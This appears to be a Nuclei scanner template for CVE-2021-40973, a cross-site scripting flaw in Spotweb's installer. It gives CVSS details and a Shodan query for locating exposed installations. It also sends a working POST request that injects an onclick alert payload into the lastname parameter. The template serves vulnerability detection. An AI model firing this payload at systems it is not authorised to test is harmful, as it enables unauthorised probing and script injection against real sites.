id: CVE-2021-40973 info: name: Spotweb <= 1.5.1 - Cross Site Scripting author: theamanrawat severity: medium description: | Cross-site scripting (XSS) vulnerability in templates/installer/step-004.inc.php in spotweb 1.5.1 and below allow remote attackers to inject arbitrary web script or HTML via the lastname parameter. impact: | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website. remediation: Fixed in version 1.5.2 reference: - https://github.com/spotweb/spotweb/ - https://github.com/spotweb/spotweb/issues/711 - https://nvd.nist.gov/vuln/detail/CVE-2021-40973 - https://github.com/spotweb/spotweb classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-40973 cwe-id: CWE-79 epss-score: 0.00152 epss-percentile: 0.51404 cpe: cpe:2.3:a:spotweb_project:spotweb:*:*:*:*:*:*:*:* metadata: verified: "true" max-request: 1 vendor: spotweb_project product: spotweb shodan-query: title:"SpotWeb - overview" tags: cve2021,cve,xss,spotweb,spotweb_project http: - raw: - | POST /install.php?page=4 HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded settingsform[lastname]=pdteam'+onclick='alert(document.domain) matchers-condition: and matchers: - type: word part: body words: - "onclick='alert(document.domain)" - "Spotweb" condition: and - type: word part: header words: - "text/html" - type: status status: - 200 # digest: 490a00463044022073aa701bbd4649f3814518c9b0fd5f4dae20221785bc65f0e16eb1352444cd05022066909db2e804aff7795a0f544ba36d182e0a3f49d67735b1434b4a5d05a298e0:922c64590222798bb761d5b6d8e72950